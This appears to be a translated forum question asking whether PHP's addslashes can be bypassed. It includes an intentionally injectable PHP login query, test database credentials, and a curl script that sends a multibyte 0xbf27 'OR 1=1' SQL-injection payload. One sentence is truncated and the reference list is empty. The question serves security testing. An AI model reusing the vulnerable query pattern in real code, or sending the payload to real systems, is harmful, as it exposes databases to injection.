我正在尝试验证在脚本上使用addlashes 是否可利用,众所周知,不应使用addslashes,但问题是,它是否总是可利用的?
当字符集不是 utf8(使用双字节转换)以及变量被 ""
那么,当以上这些情况都没有发生时,可以绕过 addlashes 吗?这是我一直在测试的代码:
带有 db 转储的 data.sql 文件:
CREATE TABLE IF NOT EXISTS `test` (
`user` varchar(25) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
INSERT INTO `test` (`user`) VALUES
('admin'),
('user');
mysql -u test -ptestpw test < data.sql
index.php 放置在服务器中
<?php
//Server script the receives content via post
mysql_connect("localhost","test","testpw");
mysql_select_db("test");
$user=addslashes($_POST['username']);
$query="SELECT * FROM test WHERE user='".$user."'";
$q=mysql_query($query) or die (mysql_error());
$num_rows = mysql_num_rows($q);
echo "Listed rows: $num_rows";
if ($num_rows > 0) {
$a=mysql_fetch_array($q);
print_r($a);
}
?>
query.php 被放置在客户端机器上
<?php
//Client script crafting the special url
$url = "http://example.com/index.php";
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_POST, TRUE );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" .
chr(0xbf) . chr(0x27) .
"OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>
一些参考资料: